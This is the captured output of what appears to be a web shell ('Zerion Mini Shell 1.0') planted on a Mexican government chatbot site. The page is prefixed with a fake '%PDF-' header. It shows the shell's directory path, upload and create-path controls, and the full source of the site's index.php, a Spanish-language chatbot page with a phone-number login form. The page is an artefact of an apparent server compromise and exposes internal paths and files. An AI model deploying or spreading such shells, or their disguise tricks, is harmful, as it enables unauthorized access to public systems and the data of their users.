%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/chatbot.tjamich.gob.mx/
Upload File :
Create Path :
Current File : /home/tjamichg/chatbot.tjamich.gob.mx/index.php

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="theme-color" content="#FF5733">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>ChatBotTJAM</title>
    <link rel="stylesheet" href="styles.css">
    <link rel="shortcut icon" href="imgs/logo-taam-4k.png" />
    
</head>
<body>
    <!--login -->
    <div class="chat-card-dos">
        <div class="container-top">
            <h1 class="title-chat">TAAMBot</h1>
            <img class="logo-title" src="imgs/logo-taam-4k.png" alt="">
        </div>

        <form id="phone-form">
            <input type="text" id="user-phone" placeholder="Ingresa tu número de teléfono" required>
            <button type="submit">Comenzar</button>
        </form>
    </div>

    <!--ChatBot-->
    <div class="chat-card" id="chat-card">
        <div class="button-asesor" onclick="abrirAsesor()">Asesor</div>
        <div class="container-top">
            <h1 class="title-chat">TAAMBot</h1>
            <img class="logo-title" src="imgs/logo-taam-4k.png" alt="">
        </div>
        
        <div class="chat-box" id="chat-box"></div>
        <form id="chat-form">
            <input type="text" id="user-input" placeholder="Tienes alguna duda..." autocomplete="off" required>
            <button type="submit">Enviar</button>
        </form>
    </div>

    <!--AsesorChat-->
    <div class="chat-card-tres" id="chat-card-tres">
        <div class="cerrar-asesor" onclick="cerrarAsesor()">Ⓧ</div>
        <div class="container-top">
            <h1 class="title-chat">Asesor</h1>
            <img class="logo-title" src="imgs/logo-taam-4k.png" alt="">
        </div>
        
        <div class="chat-box-asesor" id="chat-box-asesor"></div>
        <form id="chat-form-asesor">
            <input type="text" id="user-input-asesor" placeholder="Habla con el asesor..." autocomplete="off" required>
            <button type="submit">Enviar</button>
        </form>
    </div>

    <script src="script.js"></script>
</body>
</html>

Zerion Mini Shell 1.0